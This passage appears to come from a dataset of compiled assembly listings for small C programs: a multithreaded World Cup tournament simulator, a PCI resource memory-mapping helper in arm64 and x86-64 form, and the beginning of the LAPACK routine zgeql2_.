movl %eax, -20(%rbp)
movslq -20(%rbp), %rcx
leaq _grupo_F(%rip), %rax
movq (%rax,%rcx,8), %rax
movq %rax, -32(%rbp)
movq -16(%rbp), %rdi
movq -32(%rbp), %rsi
leaq _winer_octavos(%rip), %rcx
movl $4, %edx
callq _jugar_partido_winners
movq _sem_octavos@GOTPCREL(%rip), %rdi
callq _sem_post
xorl %eax, %eax
movl %eax, %edi
callq _pthread_exit
.cfi_endproc
## -- End function
.globl _jugar_partido_54 ## -- Begin function jugar_partido_54
.p2align 4, 0x90
_jugar_partido_54: ## @jugar_partido_54
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
leaq _grupo_G_puntos(%rip), %rdi
callq _obtener_primero
movl %eax, -4(%rbp)
movslq -4(%rbp), %rcx
leaq _grupo_G(%rip), %rax
movq (%rax,%rcx,8), %rax
movq %rax, -16(%rbp)
leaq _grupo_H_puntos(%rip), %rdi
callq _obtener_segundo
movl %eax, -20(%rbp)
movslq -20(%rbp), %rcx
leaq _grupo_H(%rip), %rax
movq (%rax,%rcx,8), %rax
movq %rax, -32(%rbp)
movq -16(%rbp), %rdi
movq -32(%rbp), %rsi
leaq _winer_octavos(%rip), %rcx
movl $5, %edx
callq _jugar_partido_winners
movq _sem_octavos@GOTPCREL(%rip), %rdi
callq _sem_post
xorl %eax, %eax
movl %eax, %edi
callq _pthread_exit
.cfi_endproc
## -- End function
.globl _jugar_partido_55 ## -- Begin function jugar_partido_55
.p2align 4, 0x90
_jugar_partido_55: ## @jugar_partido_55
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
leaq _grupo_F_puntos(%rip), %rdi
callq _obtener_primero
movl %eax, -4(%rbp)
movslq -4(%rbp), %rcx
leaq _grupo_F(%rip), %rax
movq (%rax,%rcx,8), %rax
movq %rax, -16(%rbp)
leaq _grupo_E_puntos(%rip), %rdi
callq _obtener_segundo
movl %eax, -20(%rbp)
movslq -20(%rbp), %rcx
leaq _grupo_E(%rip), %rax
movq (%rax,%rcx,8), %rax
movq %rax, -32(%rbp)
movq -16(%rbp), %rdi
movq -32(%rbp), %rsi
leaq _winer_octavos(%rip), %rcx
movl $6, %edx
callq _jugar_partido_winners
movq _sem_octavos@GOTPCREL(%rip), %rdi
callq _sem_post
xorl %eax, %eax
movl %eax, %edi
callq _pthread_exit
.cfi_endproc
## -- End function
.globl _jugar_partido_56 ## -- Begin function jugar_partido_56
.p2align 4, 0x90
_jugar_partido_56: ## @jugar_partido_56
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
leaq _grupo_H_puntos(%rip), %rdi
callq _obtener_primero
movl %eax, -4(%rbp)
movslq -4(%rbp), %rcx
leaq _grupo_H(%rip), %rax
movq (%rax,%rcx,8), %rax
movq %rax, -16(%rbp)
leaq _grupo_G_puntos(%rip), %rdi
callq _obtener_segundo
movl %eax, -20(%rbp)
movslq -20(%rbp), %rcx
leaq _grupo_G(%rip), %rax
movq (%rax,%rcx,8), %rax
movq %rax, -32(%rbp)
movq -16(%rbp), %rdi
movq -32(%rbp), %rsi
leaq _winer_octavos(%rip), %rcx
movl $7, %edx
callq _jugar_partido_winners
movq _sem_octavos@GOTPCREL(%rip), %rdi
callq _sem_post
xorl %eax, %eax
movl %eax, %edi
callq _pthread_exit
.cfi_endproc
## -- End function
.globl _jugar_octavos ## -- Begin function jugar_octavos
.p2align 4, 0x90
_jugar_octavos: ## @jugar_octavos
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $80, %rsp
movl $0, -4(%rbp)
LBB23_1: ## =>This Inner Loop Header: Depth=1
cmpl $8, -4(%rbp)
jge LBB23_4
## %bb.2: ## in Loop: Header=BB23_1 Depth=1
movq _sem_grupos@GOTPCREL(%rip), %rdi
callq _sem_wait
## %bb.3: ## in Loop: Header=BB23_1 Depth=1
movl -4(%rbp), %eax
addl $1, %eax
movl %eax, -4(%rbp)
jmp LBB23_1
LBB23_4:
leaq L_.str.45(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.56(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.45(%rip), %rdi
movb $0, %al
callq _printf
leaq -16(%rbp), %rdi
xorl %eax, %eax
movl %eax, %ecx
leaq _jugar_partido_49(%rip), %rdx
movq %rcx, %rsi
callq _pthread_create
leaq -24(%rbp), %rdi
xorl %eax, %eax
movl %eax, %ecx
leaq _jugar_partido_50(%rip), %rdx
movq %rcx, %rsi
callq _pthread_create
leaq -32(%rbp), %rdi
xorl %eax, %eax
movl %eax, %ecx
leaq _jugar_partido_51(%rip), %rdx
movq %rcx, %rsi
callq _pthread_create
leaq -40(%rbp), %rdi
xorl %eax, %eax
movl %eax, %ecx
leaq _jugar_partido_52(%rip), %rdx
movq %rcx, %rsi
callq _pthread_create
leaq -48(%rbp), %rdi
xorl %eax, %eax
movl %eax, %ecx
leaq _jugar_partido_53(%rip), %rdx
movq %rcx, %rsi
callq _pthread_create
leaq -56(%rbp), %rdi
xorl %eax, %eax
movl %eax, %ecx
leaq _jugar_partido_54(%rip), %rdx
movq %rcx, %rsi
callq _pthread_create
leaq -64(%rbp), %rdi
xorl %eax, %eax
movl %eax, %ecx
leaq _jugar_partido_55(%rip), %rdx
movq %rcx, %rsi
callq _pthread_create
leaq -72(%rbp), %rdi
xorl %eax, %eax
movl %eax, %ecx
leaq _jugar_partido_56(%rip), %rdx
movq %rcx, %rsi
callq _pthread_create
addq $80, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _jugar_cuartos ## -- Begin function jugar_cuartos
.p2align 4, 0x90
_jugar_cuartos: ## @jugar_cuartos
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl $0, -4(%rbp)
LBB24_1: ## =>This Inner Loop Header: Depth=1
cmpl $8, -4(%rbp)
jge LBB24_4
## %bb.2: ## in Loop: Header=BB24_1 Depth=1
movq _sem_octavos@GOTPCREL(%rip), %rdi
callq _sem_wait
## %bb.3: ## in Loop: Header=BB24_1 Depth=1
movl -4(%rbp), %eax
addl $1, %eax
movl %eax, -4(%rbp)
jmp LBB24_1
LBB24_4:
leaq L_.str.45(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.61(%rip), %rdi
movb $0, %al
callq _printf
movq _winer_octavos(%rip), %rdi
movq _winer_octavos+8(%rip), %rsi
xorl %edx, %edx
leaq _winer_cuartos(%rip), %rcx
callq _jugar_partido_winners
movq _winer_octavos+32(%rip), %rdi
movq _winer_octavos+40(%rip), %rsi
movl $1, %edx
leaq _winer_cuartos(%rip), %rcx
callq _jugar_partido_winners
movq _winer_octavos+16(%rip), %rdi
movq _winer_octavos+24(%rip), %rsi
movl $2, %edx
leaq _winer_cuartos(%rip), %rcx
callq _jugar_partido_winners
movq _winer_octavos+48(%rip), %rdi
movq _winer_octavos+56(%rip), %rsi
movl $3, %edx
leaq _winer_cuartos(%rip), %rcx
callq _jugar_partido_winners
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _jugar_semis ## -- Begin function jugar_semis
.p2align 4, 0x90
_jugar_semis: ## @jugar_semis
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
leaq L_.str.45(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.65(%rip), %rdi
movb $0, %al
callq _printf
movq _winer_cuartos(%rip), %rdi
movq _winer_cuartos+8(%rip), %rsi
xorl %edx, %edx
leaq _winer_semis(%rip), %rcx
callq _jugar_partido_winners
movq _winer_cuartos+16(%rip), %rdi
movq _winer_cuartos+24(%rip), %rsi
movl $1, %edx
leaq _winer_semis(%rip), %rcx
callq _jugar_partido_winners
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _jugar_final ## -- Begin function jugar_final
.p2align 4, 0x90
_jugar_final: ## @jugar_final
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
leaq L_.str.45(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.66(%rip), %rdi
movb $0, %al
callq _printf
movq _winer_semis(%rip), %rdi
movq _winer_semis+8(%rip), %rsi
xorl %edx, %edx
leaq _champion(%rip), %rcx
callq _jugar_partido_winners
leaq L_.str.45(%rip), %rdi
movb $0, %al
callq _printf
movq _champion(%rip), %rsi
leaq L_.str.67(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.45(%rip), %rdi
movb $0, %al
callq _printf
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq _sem_grupos@GOTPCREL(%rip), %rdi
xorl %edx, %edx
movl %edx, %esi
callq _sem_init
movq _sem_octavos@GOTPCREL(%rip), %rdi
xorl %edx, %edx
movl %edx, %esi
callq _sem_init
movq _sem_cuartos@GOTPCREL(%rip), %rdi
xorl %edx, %edx
movl %edx, %esi
callq _sem_init
movq _sem_semi@GOTPCREL(%rip), %rdi
xorl %edx, %edx
movl %edx, %esi
callq _sem_init
xorl %eax, %eax
movl %eax, %edi
callq _time
movl %eax, %edi
callq _srand
callq _jugar_grupos
callq _jugar_octavos
callq _jugar_cuartos
callq _jugar_semis
callq _jugar_final
xorl %eax, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "A"
L_.str.1: ## @.str.1
.asciz "B"
L_.str.2: ## @.str.2
.asciz "C"
L_.str.3: ## @.str.3
.asciz "D"
L_.str.4: ## @.str.4
.asciz "E"
L_.str.5: ## @.str.5
.asciz "F"
L_.str.6: ## @.str.6
.asciz "G"
L_.str.7: ## @.str.7
.asciz "H"
.section __DATA,__data
.globl _grupos_labels ## @grupos_labels
.p2align 4
_grupos_labels:
.quad L_.str
.quad L_.str.1
.quad L_.str.2
.quad L_.str.3
.quad L_.str.4
.quad L_.str.5
.quad L_.str.6
.quad L_.str.7
.section __TEXT,__cstring,cstring_literals
L_.str.8: ## @.str.8
.asciz "Rusia"
L_.str.9: ## @.str.9
.asciz "Arabia Saudita"
L_.str.10: ## @.str.10
.asciz "Egipto"
L_.str.11: ## @.str.11
.asciz "Uruguay"
.section __DATA,__data
.globl _grupo_A ## @grupo_A
.p2align 4
_grupo_A:
.quad L_.str.8
.quad L_.str.9
.quad L_.str.10
.quad L_.str.11
.globl _grupo_A_favoritos ## @grupo_A_favoritos
.p2align 4
_grupo_A_favoritos:
.long 1 ## 0x1
.long 0 ## 0x0
.long 0 ## 0x0
.long 1 ## 0x1
.globl _grupo_A_puntos ## @grupo_A_puntos
.zerofill __DATA,__common,_grupo_A_puntos,128,4
.section __TEXT,__cstring,cstring_literals
L_.str.12: ## @.str.12
.asciz "Portugal"
L_.str.13: ## @.str.13
.asciz "Espa\303\261a"
L_.str.14: ## @.str.14
.asciz "Marruecos"
L_.str.15: ## @.str.15
.asciz "Ir\303\241n"
.section __DATA,__data
.globl _grupo_B ## @grupo_B
.p2align 4
_grupo_B:
.quad L_.str.12
.quad L_.str.13
.quad L_.str.14
.quad L_.str.15
.globl _grupo_B_favoritos ## @grupo_B_favoritos
.p2align 4
_grupo_B_favoritos:
.long 1 ## 0x1
.long 1 ## 0x1
.long 0 ## 0x0
.long 0 ## 0x0
.globl _grupo_B_puntos ## @grupo_B_puntos
.zerofill __DATA,__common,_grupo_B_puntos,128,4
.section __TEXT,__cstring,cstring_literals
L_.str.16: ## @.str.16
.asciz "Francia"
L_.str.17: ## @.str.17
.asciz "Australia"
L_.str.18: ## @.str.18
.asciz "Peru"
L_.str.19: ## @.str.19
.asciz "Dinamarca"
.section __DATA,__data
.globl _grupo_C ## @grupo_C
.p2align 4
_grupo_C:
.quad L_.str.16
.quad L_.str.17
.quad L_.str.18
.quad L_.str.19
.globl _grupo_C_favoritos ## @grupo_C_favoritos
.p2align 4
_grupo_C_favoritos:
.long 1 ## 0x1
.long 0 ## 0x0
.long 0 ## 0x0
.long 0 ## 0x0
.globl _grupo_C_puntos ## @grupo_C_puntos
.zerofill __DATA,__common,_grupo_C_puntos,128,4
.section __TEXT,__cstring,cstring_literals
L_.str.20: ## @.str.20
.asciz "Argentina"
L_.str.21: ## @.str.21
.asciz "Islandia"
L_.str.22: ## @.str.22
.asciz "Croacia"
L_.str.23: ## @.str.23
.asciz "Nigeria"
.section __DATA,__data
.globl _grupo_D ## @grupo_D
.p2align 4
_grupo_D:
.quad L_.str.20
.quad L_.str.21
.quad L_.str.22
.quad L_.str.23
.globl _grupo_D_favoritos ## @grupo_D_favoritos
.p2align 4
_grupo_D_favoritos:
.long 1 ## 0x1
.long 0 ## 0x0
.long 0 ## 0x0
.long 0 ## 0x0
.globl _grupo_D_puntos ## @grupo_D_puntos
.zerofill __DATA,__common,_grupo_D_puntos,128,4
.section __TEXT,__cstring,cstring_literals
L_.str.24: ## @.str.24
.asciz "Brasil"
L_.str.25: ## @.str.25
.asciz "Suiza"
L_.str.26: ## @.str.26
.asciz "Costa Rica"
L_.str.27: ## @.str.27
.asciz "Serbia"
.section __DATA,__data
.globl _grupo_E ## @grupo_E
.p2align 4
_grupo_E:
.quad L_.str.24
.quad L_.str.25
.quad L_.str.26
.quad L_.str.27
.globl _grupo_E_favoritos ## @grupo_E_favoritos
.p2align 4
_grupo_E_favoritos:
.long 1 ## 0x1
.long 0 ## 0x0
.long 0 ## 0x0
.long 0 ## 0x0
.globl _grupo_E_puntos ## @grupo_E_puntos
.zerofill __DATA,__common,_grupo_E_puntos,128,4
.section __TEXT,__cstring,cstring_literals
L_.str.28: ## @.str.28
.asciz "Alemania"
L_.str.29: ## @.str.29
.asciz "Mexico"
L_.str.30: ## @.str.30
.asciz "Suecia"
L_.str.31: ## @.str.31
.asciz "Korea del Sur"
.section __DATA,__data
.globl _grupo_F ## @grupo_F
.p2align 4
_grupo_F:
.quad L_.str.28
.quad L_.str.29
.quad L_.str.30
.quad L_.str.31
.globl _grupo_F_favoritos ## @grupo_F_favoritos
.p2align 4
_grupo_F_favoritos:
.long 1 ## 0x1
.long 1 ## 0x1
.long 0 ## 0x0
.long 0 ## 0x0
.globl _grupo_F_puntos ## @grupo_F_puntos
.zerofill __DATA,__common,_grupo_F_puntos,128,4
.section __TEXT,__cstring,cstring_literals
L_.str.32: ## @.str.32
.asciz "Belgica"
L_.str.33: ## @.str.33
.asciz "Panama"
L_.str.34: ## @.str.34
.asciz "Tunez"
L_.str.35: ## @.str.35
.asciz "Inglaterra"
.section __DATA,__data
.globl _grupo_G ## @grupo_G
.p2align 4
_grupo_G:
.quad L_.str.32
.quad L_.str.33
.quad L_.str.34
.quad L_.str.35
.globl _grupo_G_favoritos ## @grupo_G_favoritos
.p2align 4
_grupo_G_favoritos:
.long 0 ## 0x0
.long 0 ## 0x0
.long 0 ## 0x0
.long 1 ## 0x1
.globl _grupo_G_puntos ## @grupo_G_puntos
.zerofill __DATA,__common,_grupo_G_puntos,128,4
.section __TEXT,__cstring,cstring_literals
L_.str.36: ## @.str.36
.asciz "Polonia"
L_.str.37: ## @.str.37
.asciz "Senegal"
L_.str.38: ## @.str.38
.asciz "Colombia"
L_.str.39: ## @.str.39
.asciz "Jap\303\263n"
.section __DATA,__data
.globl _grupo_H ## @grupo_H
.p2align 4
_grupo_H:
.quad L_.str.36
.quad L_.str.37
.quad L_.str.38
.quad L_.str.39
.globl _grupo_H_favoritos ## @grupo_H_favoritos
.p2align 4
_grupo_H_favoritos:
.long 0 ## 0x0
.long 0 ## 0x0
.long 1 ## 0x1
.long 0 ## 0x0
.globl _grupo_H_puntos ## @grupo_H_puntos
.zerofill __DATA,__common,_grupo_H_puntos,128,4
.section __TEXT,__cstring,cstring_literals
L_.str.40: ## @.str.40
.asciz "%s ,"
L_.str.41: ## @.str.41
.asciz "%d ,"
L_.str.42: ## @.str.42
.asciz "\n"
L_.str.43: ## @.str.43
.asciz "Resultado %s %d -- %s %d \n"
L_.str.44: ## @.str.44
.asciz "Invalid instancia\n"
.comm _sem_grupos,4,2 ## @sem_grupos
L_.str.45: ## @.str.45
.asciz "***************************************** \n"
L_.str.46: ## @.str.46
.asciz "* JUGANDO FASE DE GRUPOS * \n"
L_.str.47: ## @.str.47
.asciz "Wp49"
L_.str.48: ## @.str.48
.asciz "Wp50"
L_.str.49: ## @.str.49
.asciz "Wp51"
L_.str.50: ## @.str.50
.asciz "Wp52"
L_.str.51: ## @.str.51
.asciz "Wp53"
L_.str.52: ## @.str.52
.asciz "Wp54"
L_.str.53: ## @.str.53
.asciz "Wp55"
L_.str.54: ## @.str.54
.asciz "Wp56"
.section __DATA,__data
.globl _winer_octavos ## @winer_octavos
.p2align 4
_winer_octavos:
.quad L_.str.47
.quad L_.str.48
.quad L_.str.49
.quad L_.str.50
.quad L_.str.51
.quad L_.str.52
.quad L_.str.53
.quad L_.str.54
.section __TEXT,__cstring,cstring_literals
L_.str.55: ## @.str.55
.asciz "Jugando partido entre %s y %s \n"
.comm _sem_octavos,4,2 ## @sem_octavos
L_.str.56: ## @.str.56
.asciz "* JUGANDO OCTAVOS * \n"
L_.str.57: ## @.str.57
.asciz "Wp57"
L_.str.58: ## @.str.58
.asciz "Wp58"
L_.str.59: ## @.str.59
.asciz "Wp59"
L_.str.60: ## @.str.60
.asciz "Wp60"
.section __DATA,__data
.globl _winer_cuartos ## @winer_cuartos
.p2align 4
_winer_cuartos:
.quad L_.str.57
.quad L_.str.58
.quad L_.str.59
.quad L_.str.60
.section __TEXT,__cstring,cstring_literals
L_.str.61: ## @.str.61
.asciz "Jugando cuartos \n"
L_.str.62: ## @.str.62
.asciz "Wp61"
L_.str.63: ## @.str.63
.asciz "Wp62"
.section __DATA,__data
.globl _winer_semis ## @winer_semis
.p2align 4
_winer_semis:
.quad L_.str.62
.quad L_.str.63
.section __TEXT,__cstring,cstring_literals
L_.str.64: ## @.str.64
.asciz "Wfinal"
.section __DATA,__data
.globl _champion ## @champion
.p2align 3
_champion:
.quad L_.str.64
.section __TEXT,__cstring,cstring_literals
L_.str.65: ## @.str.65
.asciz "Jugando semis \n"
L_.str.66: ## @.str.66
.asciz "Jugando final \n"
L_.str.67: ## @.str.67
.asciz "El nuevo campeon del mundo es %s \n"
.comm _sem_cuartos,4,2 ## @sem_cuartos
.comm _sem_semi,4,2 ## @sem_semi
.subsections_via_symbols
| the_stack_data/72392.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _map_pci_resource ; -- Begin function map_pci_resource
.p2align 2
_map_pci_resource: ; @map_pci_resource
.cfi_startproc
; %bb.0:
sub sp, sp, #192
.cfi_def_cfa_offset 192
stp x29, x30, [sp, #176] ; 16-byte Folded Spill
add x29, sp, #176
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-16]
ldur x0, [x29, #-16]
mov w1, #130
bl _open
stur w0, [x29, #-20]
subs w8, w0, #0
cset w9, lt
; implicit-def: $x8
mov x8, x9
ands x8, x8, #0x1
cset w8, eq
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
adrp x0, l___func__.map_pci_resource@PAGE
add x0, x0, l___func__.map_pci_resource@PAGEOFF
adrp x1, l_.str@PAGE
add x1, x1, l_.str@PAGEOFF
mov w2, #30
adrp x3, l_.str.1@PAGE
add x3, x3, l_.str.1@PAGEOFF
bl ___assert_rtn
LBB0_2:
b LBB0_3
LBB0_3:
ldur w0, [x29, #-20]
mov x1, sp
bl _fstat
subs w8, w0, #0
cset w9, ne
; implicit-def: $x8
mov x8, x9
ands x8, x8, #0x1
cset w8, eq
tbnz w8, #0, LBB0_5
b LBB0_4
LBB0_4:
adrp x0, l___func__.map_pci_resource@PAGE
add x0, x0, l___func__.map_pci_resource@PAGEOFF
adrp x1, l_.str@PAGE
add x1, x1, l_.str@PAGEOFF
mov w2, #31
adrp x3, l_.str.2@PAGE
add x3, x3, l_.str.2@PAGEOFF
bl ___assert_rtn
LBB0_5:
b LBB0_6
LBB0_6:
ldr x1, [sp, #96]
ldur w4, [x29, #-20]
mov x0, #0
mov w2, #3
mov w3, #1
mov x5, #0
bl _mmap
stur x0, [x29, #-32]
ldur w0, [x29, #-20]
bl _close
ldur x8, [x29, #-32]
adds x8, x8, #1
cset w8, ne
tbnz w8, #0, LBB0_8
b LBB0_7
LBB0_7:
; kill: def $x8 killed $xzr
stur xzr, [x29, #-8]
b LBB0_9
LBB0_8:
ldur x8, [x29, #-32]
stur x8, [x29, #-8]
b LBB0_9
LBB0_9:
ldur x0, [x29, #-8]
ldp x29, x30, [sp, #176] ; 16-byte Folded Reload
add sp, sp, #192
ret
.cfi_endproc
; -- End function
.globl _open_pcie_config ; -- Begin function open_pcie_config
.p2align 2
_open_pcie_config: ; @open_pcie_config
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #8]
ldr x0, [sp, #8]
mov w1, #2
bl _open
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l___func__.map_pci_resource: ; @__func__.map_pci_resource
.asciz "map_pci_resource"
l_.str: ; @.str
.asciz "29823984.c"
l_.str.1: ; @.str.1
.asciz "(fd = open(path, O_RDWR | O_SYNC)) >= 0"
l_.str.2: ; @.str.2
.asciz "fstat(fd, &st) == 0"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _map_pci_resource ## -- Begin function map_pci_resource
.p2align 4, 0x90
_map_pci_resource: ## @map_pci_resource
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $176, %rsp
movq %rdi, -16(%rbp)
movq -16(%rbp), %rdi
movl $130, %esi
movb $0, %al
callq _open
movl %eax, -20(%rbp)
cmpl $0, %eax
setge %al
xorb $-1, %al
andb $1, %al
movzbl %al, %eax
cltq
cmpq $0, %rax
je LBB0_2
## %bb.1:
leaq L___func__.map_pci_resource(%rip), %rdi
leaq L_.str(%rip), %rsi
leaq L_.str.1(%rip), %rcx
movl $30, %edx
callq ___assert_rtn
LBB0_2:
jmp LBB0_3
LBB0_3:
movl -20(%rbp), %edi
leaq -176(%rbp), %rsi
callq _fstat$INODE64
cmpl $0, %eax
sete %al
xorb $-1, %al
andb $1, %al
movzbl %al, %eax
cltq
cmpq $0, %rax
je LBB0_5
## %bb.4:
leaq L___func__.map_pci_resource(%rip), %rdi
leaq L_.str(%rip), %rsi
leaq L_.str.2(%rip), %rcx
movl $31, %edx
callq ___assert_rtn
LBB0_5:
jmp LBB0_6
LBB0_6:
movq -80(%rbp), %rsi
movl -20(%rbp), %r8d
xorl %eax, %eax
movl %eax, %r9d
movl $3, %edx
movl $1, %ecx
movq %r9, %rdi
callq _mmap
movq %rax, -32(%rbp)
movl -20(%rbp), %edi
callq _close
movq $-1, %rax
cmpq %rax, -32(%rbp)
jne LBB0_8
## %bb.7:
movq $0, -8(%rbp)
jmp LBB0_9
LBB0_8:
movq -32(%rbp), %rax
movq %rax, -8(%rbp)
LBB0_9:
movq -8(%rbp), %rax
addq $176, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _open_pcie_config ## -- Begin function open_pcie_config
.p2align 4, 0x90
_open_pcie_config: ## @open_pcie_config
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
movq -8(%rbp), %rdi
movl $2, %esi
movb $0, %al
callq _open
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L___func__.map_pci_resource: ## @__func__.map_pci_resource
.asciz "map_pci_resource"
L_.str: ## @.str
.asciz "29823984.c"
L_.str.1: ## @.str.1
.asciz "(fd = open(path, O_RDWR | O_SYNC)) >= 0"
L_.str.2: ## @.str.2
.asciz "fstat(fd, &st) == 0"
.subsections_via_symbols
| the_stack_data/29823984.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _zgeql2_ ; -- Begin function zgeql2_
.p2align 2
_zgeql2_: ; @zgeql2_
.cfi_startproc
; %bb.0:
sub sp, sp, #208
.cfi_def_cfa_offset 208
stp x29, x30, [sp, #192] ; 16-byte Folded Spill
add x29, sp, #192
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-16]
stur x1, [x29, #-24]
stur x2, [x29, #-32]
stur x3, [x29, #-40]
stur x4, [x29, #-48]
stur x5, [x29, #-56]
stur x6, [x29, #-64]
ldur x8, [x29, #-40]
ldr w8, [x8]
stur w8, [x29, #-68]
ldur w8, [x29, #-68]
mov x9, #0
lsr w8, w8, #0
add w8, w8, #1
stur w8, [x29, #-72]
ldursw x10, [x29, #-72]
ldur x8, [x29, #-32]
subs x9, x9, x10
add x8, x8, x9, lsl #4
stur x8, [x29, #-32]
ldur x8, [x29, #-48]
subs x8, x8, #16
stur x8, [x29, #-48]
ldur x8, [x29, #-56]
subs x8, x8, #16
stur x8, [x29, #-56]
ldur x8, [x29, #-64]
str wzr, [x8]
ldur x8, [x29, #-16]
ldr w8, [x8]
subs w8, w8, #0
cset w8, ge
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
ldur x9, [x29, #-64]
mov w8, #-1
str w8, [x9]
b LBB0_11
LBB0_2:
ldur x8, [x29, #-24]
ldr w8, [x8]
subs w8, w8, #0
cset w8, ge
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3:
ldur x9, [x29, #-64]
mov w8, #-2
str w8, [x9]
b LBB0_10
LBB0_4:
ldur x8, [x29, #-40]
ldr w8, [x8]
str w8, [sp, #68] ; 4-byte Folded Spill
ldur x8, [x29, #-16]
ldr w9, [x8]
mov w8, #1
subs w8, w8, w9
cset w8, lt
tbnz w8, #0, LBB0_6
b LBB0_5
LBB0_5:
mov w8, #1
str w8, [sp, #64] ; 4-byte Folded Spill
b LBB0_7
LBB0_6:
ldur x8, [x29, #-16]
ldr w8, [x8]
str w8, [sp, #64] ; 4-byte Folded Spill
b LBB0_7
LBB0_7:
ldr w8, [sp, #68] ; 4-byte Folded Reload
ldr w9, [sp, #64] ; 4-byte Folded Reload
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_9
b LBB0_8
LBB0_8:
ldur x9, [x29, #-64]
mov w8, #-4
str w8, [x9]
b LBB0_9
LBB0_9:
b LBB0_10
LBB0_10:
b LBB0_11
LBB0_11:
ldur x8, [x29, #-64]
ldr w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_13
b LBB0_12
LBB0_12:
ldur x8, [x29, #-64]
ldr w9, [x8]
mov w8, #0
subs w8, w8, w9
sub x1, x29, #76
stur w8, [x29, #-76]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
mov w2, #6
bl _xerbla_
stur wzr, [x29, #-4]
b LBB0_21
LBB0_13:
ldur x8, [x29, #-16]
ldr w8, [x8]
ldur x9, [x29, #-24]
ldr w9, [x9]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_15
b LBB0_14
LBB0_14:
ldur x8, [x29, #-16]
ldr w8, [x8]
str w8, [sp, #60] ; 4-byte Folded Spill
b LBB0_16
LBB0_15:
ldur x8, [x29, #-24]
ldr w8, [x8]
str w8, [sp, #60] ; 4-byte Folded Spill
b LBB0_16
LBB0_16:
ldr w8, [sp, #60] ; 4-byte Folded Reload
str w8, [sp, #88]
ldr w8, [sp, #88]
str w8, [sp, #92]
b LBB0_17
LBB0_17: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #92]
subs w8, w8, #1
cset w8, lt
tbnz w8, #0, LBB0_20
b LBB0_18
LBB0_18: ; in Loop: Header=BB0_17 Depth=1
ldur x8, [x29, #-16]
ldr w8, [x8]
ldr w9, [sp, #88]
subs w8, w8, w9
ldr w9, [sp, #92]
add w8, w8, w9
ldur x9, [x29, #-24]
ldr w9, [x9]
ldr w10, [sp, #88]
subs w9, w9, w10
ldr w10, [sp, #92]
add w9, w9, w10
ldur w10, [x29, #-68]
mul w9, w9, w10
add w8, w8, w9
sub x0, x29, #76
str x0, [sp, #24] ; 8-byte Folded Spill
stur w8, [x29, #-76]
ldur x8, [x29, #-32]
ldursw x9, [x29, #-76]
lsl x9, x9, #4
ldr d0, [x8, x9]
add x1, sp, #72
str d0, [sp, #72]
ldur x8, [x29, #-32]
